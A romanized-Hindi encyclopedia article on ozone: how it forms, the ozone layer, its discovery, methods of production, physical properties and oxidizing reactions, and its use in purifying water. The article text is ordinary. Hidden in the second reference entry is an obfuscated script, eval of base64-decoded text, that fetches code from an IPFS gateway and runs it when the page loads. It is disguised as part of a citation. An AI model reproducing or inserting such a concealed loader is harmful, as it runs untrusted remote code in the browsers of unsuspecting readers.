ओज़ोन
ozon (aangrezi: Ozone) aauksijan ke tin paramanuoan se milakar banane vali ek gais hai jo ki vatavaran mean bahut kam matra[1] mean paee jati hai. jahaan nichale vatavaran mean prithvi ke nikat isaki upasthiti pradooshan ko badhane vali aur manav ootak ke lie nukasanadeh hai, vahian oopari vayumandal mean isaki upasthiti paramavashyak hai. isaki saghanata 10 lakh mean 10vaan hissa hai. yah gais prakritik roop se banati hai. jab soory ki kiranean vayumandal se oopari satah par aauksijan se takarati haian to uchch oorja vikaran se isaka kuchh hissa ozon mean parivartit ho jata hai. sath hi vidyut vikas kriya, badal, akashiy vidyut evan motaroan ke vidyut spark se bhi aauksijan ozon mean badal jati hai. prithvi ke dharatal se 20-30 kimi ki ooanchaee par vayumandal ke samatap mandal kshetr mean ozon gais ka ek jhina-sa avaran hai, jise ozon parat kahate haian. vayumandal ke ayatan kean sandarbh mean ozon parat ki saandrata lagabhag 10 pipiem hai. yah ozon parat paryavaran ki rakshak hai. ozon parat hanikarak parabaiangani kiranoan ko prithvi par ane se rokati hai.
ozon vishesh prakar ki gandhayukt gais hai. alp matra mean ozon hava mean paya jata hai. samudr ki satah par ki hava mean dharati ki apeksha yah kuchh adhik rahata hai, yadyapi sadaiv nahian. sadharanat: dharatal se ooanchaee par isaki matra adhik hoti hai. kahian-kahian jharanoan ke pani mean ozon ka pata laga hai.
em. phhऱan maram ne 1785 mean jnat kiya ki kriyashil vidyuth mashinoan ke asapas ek vishesh gandh paee jati hai. amliy pani ke vidyudvishleshan ke samay dhanagr (ainod) ke samip bhi kuchh aisi hi gandh ka dablyoo. krukashaiank ne pata lagaya. 1839 mean si.ef. shenabain ne bataya ki yah gandh ek nishchit vastu ke banane ke karan hi hoti hai jisaka nam unhoanne ozon rakha. bijali girane par tatha tar hava mean fasfaras ke samip bhi aisi gandh ati hai, jo ozon ke karan hi rahati hai.
in kriyaoan mean aksijan ke sanmilan se ozon prapt hota hai, 3O2=2O3 –O8.2 kalari. at: ozon ke nirman mean shakti ki avashyakata p dati hai. jin vidhiyoan se ozon prapt hota hai unhean do bhagoan mean vibhakt kiya ja sakata hai : pahali bhautik tatha doosari rasayanik.
garmi ka prabhav–ozon sadharan tap par bahut kud sthayi hai, parantu garam karane ya der tak rakhane par aksijan mean vighatit ho jata hai. vaise to adhik tap ozon ke nirman ke lie anukool hota hai, parantu vighatan se bachane ke lie turant hi ise thandha karana p data hai. garam plaitinam ke tar ko drav hava mean dubane se bhi tho da ozon prapt hota hai.
rediyam, poloniyam adi ke ailfa kiran ke prabhav se bhi aksijan se ozon banata hai. aksijan se bhare bartan mean, jisamean kuchh rediyam bhi rakha ho, tho da bhag ozon ka prapt hota hai. isi prakar parabaiangani kiranean bhi ozon banane mean upayogi hoti haian.
pani ke vidyudvishleshan mean dhanagr (ainod) par aksijan prapt hota hai, jisamean kuchh bhag ozon ka rahata hai. is gaisiy mishran mean ozon ka anupat kee batoan par nirbhar rahata hai, jaise vidyudagr (ilektrod) ki prakriti tatha usaka vistar, vidyudvishleshy (ilektrolait) ki prakriti aur vidyudddhara ki matra. patala plaitinam vidyudagr (ilektrod) ka prayog karake, jo bhitar se barph jamanevale him-lavan-mishran ke pravah dvara thandha bhi hota rahe, aur paryapt vidyuth ghanatv lagakar gandhak ka aml mile pani ka vidyudvishleshan karane par, adhik ozon milata hai. yah vidhi vaise to kharchili hai, parantu aisa prapt ozon naitrojan se apekshakrit dooshit nahian hota tatha haidrojan bhi upajat ke roop mean prapt hota hai.
aksijan gais mean vidyudvisarjan (discharj) karane se ozon banata hai. ozon banane ke upayukt is prakar ke upakaran ko ozonaizar kahate haian, jaise simeans ya bradi ka ozonaizar. yah ek shishe ki nali hoti hai jisamean do vidyudagr (ilektrod) lage rahate haian. in vidyudagroan ke bich iandakshan kvayal ya transapharmar (traiansaf aaurmar) ki sahayata se uchch varanvarata ki pratyavarti (e.si.) vidyuddhara pravahit ki jati hai. sath hi shuddh aksijan gais ozonaizar ki nali mean dhire-dhire pravahit ki jati hai. ozonaizar ya to hava mean hi thandha hota rahata hai ya ise thandhe mean dubakar rakhate haian. bahar nikalati huee gais mean ozon ki paryapt matra rahati hai. sadharanataya ozon prapt karane ke lie isi vidhi ka upayog hota hai.
bahut si aisi ushmakshepak (eksotharmik) rasayanik kriyaoan mean, jo kam tap par hoti haian, athava aksikaran ki aisi kriyaoan mean, jo dhire-dhire hoti haian, kuchh ozon, aksijan ke sath, prapt hota hai. aml ki upasthiti mean haidrojan paraksaid ke vighatan se tatha isi prakar kee aksaid (jaise BaO2, Na2O2 ityadi) par aml ki kriya se kuchh ozon milata hai. parasalfyoorik aml, parakarabonik aml athava parasalfet tatha paraboret bhi is sanbandh mean upayogi haian. florin gais par pani ki kriya se, athava haidroflorik aml ke vilayan ke visheshat: kam tap par vidyudvishleshan (ilektrolisis) dvara aksijan ke sath ozon prapt hota hai. fasfaras ke aksikaran mean ozon bhi banata hai.
sadharan tap par ozon halke nile rang ki gais hai, jo hava mean bahut alp matra mean rahane par bhi apani vishesh gandh se pahachani ja sakati hai. adhik matra mean rahane par bhi apani vishesh gandh se pahachani ja sakati hai. adhik matravali ozon ki hava ko sooanghane se sir dard hota hai; yadi matra adhik ho, ya der tak gais mean rahean to mrityu bhi ho sakati hai. ozon gais ka ghanatv (O° sean., 750 milimitar dab par), 2.144 gram/ litar hai. gadhe nile rang ke drav ozon ka ghanatv (183° sean.par)1.71 gram/ seantimitar3 hai.
ozon drav aksijan tatha drav naitrojan mean viley hai. pani mean isaki bahut kam matra ghulati hai; gandhak ke aml ke vilayan mean isaki ghulanevali matra aml ki shakti par nirbhar hai. udasin lavan ke vilayan mean ozon ka vilayan adhik sthayi hota hai, parantu kshariy vilayan mean isaki vileyata kam hoti hai. kee prakar ke tel, jaise tarapin, darachini ya kuchh vasaean ozon ki paryapt matra sokh leti haian. aisitik aml, ethil aisitet, klorofarm tatha karban tetra-kloraid mean ozon ka vilayan nile rang ka hota hai.
sadharan tap par ozon dhire-dhire vighatit hota hai. garam karane par ya bahut si vastuoan (jaise loha, chaandi, maianganiz, sisa, nikal tatha para ke aksaid athava chaandi, plaitinam adi dhatu) ki upasthiti mean ozon ka vighatan shighr hota hai. is kriya mean aksijan prapt hota hai. adhik tap par vighatan mean kuchh prakash bhi nikalata hai. yah avadipti (lyoominiseans) toanti ke pani mean ya ailkohal, beanjin ityadi karbanik yaugikoan mean ozon tatha aksijan ka gaisiy mishran pravahit karane par bhi prapt hota hai.
ozon ati shaktishali aksikarak hai. yah potaisiyam ayodaid se ayodin ko svatantr kar deta hai. isilie gile potaisiyam ayodaid tatha starch ke kagaj ka rang ozon mean nila ho jata hai. is prakar ka aksikaran kee doosari vastuean bhi karati haian. ozon mean bahut si dhatuoan, jaise chaandi, taanba, nikel, raanga, sisa adi, ka aksikaran hota hai. kuchh mean to adhik ushma ki avashyakata p dati hai, parantu any mean yah kriya saralata se hoti hai. in kriyaoan mean pani ki upasthiti, chahe tho di matra mean ho, avashyak hai.
ozon ke sanpark mean para ke gunoan mean bahut aantar a jata hai aur vah kach ki satah par chipakane lagata hai. isamean pani dalane se pun: para ka mool roop prapt ho jata hai. ozon dvara bahut se lavanoan ka aksikaran hota hai, jaise marakyooras, ferik tatha stainik kloraid prapt hote haian. isi prakar led tatha maianganas lavan se tatsanbandhi aksaid prapt hote haian. kale led salfaid se saphed led salfet milata hai. salfar daiaksaid tatha karban m aaunoksaid se kramanusar gandhak traiaksaid tatha karban daiaksaid prapt hote haian.[2]
adhatuoan se bhi ozon sanyog karata hai. ayodin se ayodin ke ooanche aksaid tatha fasfaras se fasfarik peant aauksaid banate haian. ozon se haidrojan kloraid tatha haidrojan ayodaid ka vighatan hota hai. beriyam paraksaid tatha haidrojan paraksaid se kramash: beriyam aksaid tatha pani prapt hote haian; in kriyaoan mean ozon avakarak rahata hai.
rabar tatha bahut se karbanik yaugikoan se ozon kriya karata hai. yadi ozon ki matra adhik ho to rabar ki nali ya dat ko yah kha jata hai. ozon ki kriya dvara mithen se pharamaildihaid aur faramik aml tatha ethil ailkohal se aildihaid aur aisitik aml banate haian. naitroglisarol, naitrojan kloraid tatha ayodaid ozon mean visphotak haian. bahut se vanaspatik rang ozon ke sanyog se nasht ho jate haian, jaise nil tatha rudhir ka rang.
ozon se kitanuoan ka tatha any gandi karbanik vastuoan ka aksikaran hota hai. isalie pine ka pani shuddh karane tatha usase durgadh door karane ke lie ozon ka upayog hota hai. kagaj, tel athava aisi hi any audyogik vastuoan ko rangahin banane mean ozon upayogi hai.[3]
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tika tippani aur sandarbh
- ↑ 0.02 %
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 294 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran.–je.dablyoo. melaur : e k aaumpriheansiv tritiz aaun in aaurgainik aiand thyoretikal kemistri (1922); je.ar. paratiangatan : ai tekst buk aauv in aaurgainik kemistri (1950); charls di. h aaujamain : haiandabuk aauv kemistri aiand fiziks.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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